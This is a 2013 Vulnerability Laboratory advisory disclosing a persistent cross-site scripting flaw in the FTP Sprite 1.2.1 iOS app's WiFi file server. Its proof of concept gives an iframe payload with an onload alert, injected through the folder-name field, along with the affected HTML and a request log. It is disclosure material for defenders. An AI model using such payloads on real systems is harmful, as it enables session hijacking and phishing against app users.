277 lines
9.8 KiB
Text
Executable file
277 lines
9.8 KiB
Text
Executable file
Title:
|
|
======
|
|
FTP Sprite v1.2.1 iOS - Persistent Web Vulnerability
|
|
|
|
|
|
Date:
|
|
=====
|
|
2013-07-12
|
|
|
|
|
|
References:
|
|
===========
|
|
http://www.vulnerability-lab.com/get_content.php?id=1007
|
|
|
|
|
|
VL-ID:
|
|
=====
|
|
1007
|
|
|
|
|
|
Common Vulnerability Scoring System:
|
|
====================================
|
|
3.7
|
|
|
|
|
|
Introduction:
|
|
=============
|
|
FTP Sprite can turn your iPhone, ipad, ipod into ftp client, download files from ftp server and upload files into ftp server.
|
|
|
|
** FTP Action
|
|
** Add, modify, delete ftp server
|
|
** Download multiple files/folder Supported
|
|
** Upload multiple files/folder Supported
|
|
** Living progress
|
|
** View files online
|
|
** Create folder online
|
|
** Download and upload history
|
|
** Sorting by file name, create date and file size
|
|
|
|
|
|
** Local File Sharing
|
|
** USB File Sharing via iTunes
|
|
** Http File Sharing via WiFi,Support Safari, chrome, firefox and IE6/7/8/9
|
|
** Chrome and Firefox Supported upload multiple files
|
|
** Email multiple files/folder Supported
|
|
** Open files using other applications
|
|
|
|
** Local File Manage
|
|
** New Folder
|
|
** Sorting by file name, create date and file type
|
|
** View, copy, move, delete, rename, email, zip Compression and unzip files/folders
|
|
** Glide deleting function
|
|
** Select all and Cancel all
|
|
** Photo import Supported
|
|
** Bookmark supported
|
|
|
|
** File View
|
|
** New plain text(default encoding UTF-8),Convert plain file encoding (Unicode,UTF-8 etc) [.txt]
|
|
** External file content copy or paste
|
|
** Photo View, Zoom [.png .jpg .jpeg .gif .bmp .xbm .tif .tiff etc];
|
|
** Document reader [.pdf .rtf .csv .rtfd .doc .docx .xls .xlsx .ppt .pptx (office 2003 or later) etc]
|
|
** Video Player [.mp4]
|
|
** File Compression and Decompression [.zip .rar]
|
|
** Extract files from encryption .rar
|
|
** Multi-touch Supported, Zoom files
|
|
** Landscape mode supported
|
|
** iPad-compatible
|
|
|
|
(Copy of the Vendor Homepage: https://itunes.apple.com/de/app/ftp-sprite+/id480523641 )
|
|
|
|
|
|
Abstract:
|
|
=========
|
|
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the FTP Sprite 1.2.1 application (Apple iOS - iPad & iPhone).
|
|
|
|
|
|
Report-Timeline:
|
|
================
|
|
2013-07-12: Public Disclosure (Vulnerability Laboratory)
|
|
|
|
|
|
Status:
|
|
========
|
|
Published
|
|
|
|
|
|
Affected Products:
|
|
==================
|
|
Apple AppStore
|
|
Product: FTP Sprite - Application 1.2.1
|
|
|
|
|
|
Exploitation-Technique:
|
|
=======================
|
|
Remote
|
|
|
|
|
|
Severity:
|
|
=========
|
|
Medium
|
|
|
|
|
|
Details:
|
|
========
|
|
A persistent input validation web vulnerability is detected in the FTP Sprite 1.2.1 application (Apple iOS - iPad & iPhone).
|
|
The bug allows an attacker (remote) to implement/inject malicious script code on the application side (persistent) of the app.
|
|
|
|
The vulnerability is located in the index file dir listing module of the web-server (http://localhost:41495) when processing to
|
|
display via POST request method injected manipulated `folder names`. The persistent script code will be executed in the main
|
|
index file dir listing module when the service lists the new malicious injected foldername as item.
|
|
|
|
Exploitation of the persistent web vulnerability requires low or medium user interaction without application user account.
|
|
Successful exploitation of the vulnerability can lead to persistent session hijacking (customers), account steal via persistent
|
|
web attacks, persistent phishing or stable (persistent) certificate mail notification context manipulation.
|
|
|
|
Vulnerable Application(s):
|
|
[+] FTP Sprite v1.2.1 - ITunes or AppStore (Apple)
|
|
|
|
Vulnerable Module(s):
|
|
[+] Add Folder
|
|
|
|
Vulnerable Parameter(s):
|
|
[+] foldername
|
|
|
|
Affected Module(s):
|
|
[+] Index Folder Listing
|
|
|
|
|
|
Proof of Concept:
|
|
=================
|
|
The persistent input validation web vulnerability can be exploited by remote attackers without privilege application user account and
|
|
with low user interaction. For demonstration or reproduce ...
|
|
|
|
PoC: Add Folder - (Name)
|
|
|
|
<div class="ProgressBar" id="barDiv">
|
|
<div id="bar"><span id="barSpan">0%</span></div>
|
|
</div>
|
|
|
|
</form>
|
|
</div>
|
|
|
|
<table id="tableContent" border="0" cellpadding="0" cellspacing="0">
|
|
<thead>
|
|
<tr><th><input id="selecteAll" onclick="selectAll(this)" type="checkbox"></th>
|
|
<th>Name</th><th>Size</th><th>Modified Date</th><th><img src="/download.png" style="border:0;vertical-align:middle;"></th>
|
|
<th class="del">Delete</th></tr>
|
|
</thead>
|
|
<tbody id="filelist"><tr><td><input name="chxItem" value="[PERSISTENT INJECTED SCRIPT CODE!]" onclick="selChkItem(this)"
|
|
type="checkbox"></td><td><a href="/http%3[PERSISTENT INJECTED SCRIPT CODE!]?guid=E798C174-F7C4-462D-AFC3-12ECC1A36E84&
|
|
amp;type=child" class="file"><span style="vertical-align:middle;"><img src="/Folder.png" style="border:0;vertical-align:middle;"></span>
|
|
<iframe src="http:</a"></td><td></td><td>2013-07-11 20:14:33</td><td></td><td><input name="commit" type="button"
|
|
value="Delete" onclick="DelegateData('/%3Ciframe%20src%3Dhttp%3[PERSISTENT INJECTED SCRIPT CODE!]','E798C174-F7C4-462D-AFC3-12ECC1A36E84');"
|
|
class='button' /></form></td></tr></tbody></table></iframe></a></td></tr>
|
|
|
|
|
|
--- Request Session Log ---
|
|
|
|
Status: 200[OK]
|
|
|
|
POST http://192.168.2.104:41495/?type=createdir&guid=EFB7891B-84ED-4C48-A404-95960BBB95D0
|
|
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[506] Mime Type[text/plain]
|
|
|
|
|
|
Request Headers:
|
|
Host[192.168.2.104:41495]
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
|
Accept[text/html, */*; q=0.01]
|
|
|
|
Accept-Language[en-US,en;q=0.5]
|
|
Accept-Encoding[gzip, deflate]
|
|
DNT[1]
|
|
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
|
|
|
|
X-Requested-With[XMLHttpRequest]
|
|
|
|
|
|
Referer[http://192.168.2.104:41495/?guid=EFB7891B-84ED-4C48-A404-95960BBB95D0&type=
|
|
child&date=Thu%20Jul%2011%202013%2020:05:48%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:06:
|
|
26%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:07:33%20GMT+0200]
|
|
Content-Length[87]
|
|
|
|
Connection[keep-alive]
|
|
|
|
Pragma[no-cache]
|
|
Cache-Control[no-cache]
|
|
|
|
Post Data:
|
|
item0[%3Ciframe%20src%3Dhttp%3A%2F%2Fwww.vuln-lab.com%20onload%3Dalert(%22BKM%22)%20%3C]
|
|
|
|
Response Headers:
|
|
|
|
Accept-Ranges[bytes]
|
|
|
|
Content-Length[506]
|
|
|
|
Content-Type[text/plain]
|
|
|
|
Date[Thu, 11 Jul 2013 18:14:33 GMT]
|
|
|
|
|
|
20:08:50.658[40ms][total 40ms]
|
|
Status: 404[Not Found]
|
|
GET http://192.168.2.104:41495/%3C/a
|
|
Load Flags[LOAD_DOCUMENT_URI ]
|
|
Content Size[0] Mime Type[application/x-unknown-content-type]
|
|
|
|
|
|
Request Headers:
|
|
|
|
Host[192.168.2.104:41495]
|
|
|
|
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0]
|
|
|
|
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
|
|
|
Accept-Language[en-US,en;q=0.5]
|
|
Accept-Encoding[gzip, deflate]
|
|
DNT[1]
|
|
|
|
|
|
Referer[http://192.168.2.104:41495/?guid=EFB7891B-84ED-4C48-A404-95960BBB95D0&type=child&date=Thu%20Jul%2011%202013%2020:05:
|
|
48%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:06:26%20GMT+0200&type=child&date=Thu%20Jul%2011%202013%2020:07:33%20GMT+0200]
|
|
Connection[keep-alive]
|
|
|
|
|
|
Response Headers:
|
|
Accept-Ranges[bytes]
|
|
Content-Length[0]
|
|
Date[Thu, 11 Jul 2013 18:14:34 GMT]
|
|
|
|
|
|
Solution:
|
|
=========
|
|
To fix the vulnerability parse the add folder name input field and restrict it but also cleanup the affected listing module with the output.
|
|
|
|
|
|
Risk:
|
|
=====
|
|
The security risk of the persistent input validation web vulnerability is estimated as high(-).
|
|
|
|
|
|
Credits:
|
|
========
|
|
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)
|
|
|
|
|
|
Disclaimer:
|
|
===========
|
|
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
|
|
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
|
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
|
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
|
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
|
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
|
or trade with fraud/stolen material.
|
|
|
|
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
|
|
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
|
|
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
|
|
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
|
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
|
|
|
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
|
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
|
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
|
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
|
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.
|
|
|
|
Copyright ? 2013 | Vulnerability Laboratory
|
|
|
|
--
|
|
VULNERABILITY LABORATORY RESEARCH TEAM
|
|
DOMAIN: www.vulnerability-lab.com
|
|
CONTACT: research@vulnerability-lab.com
|
|
|
|
|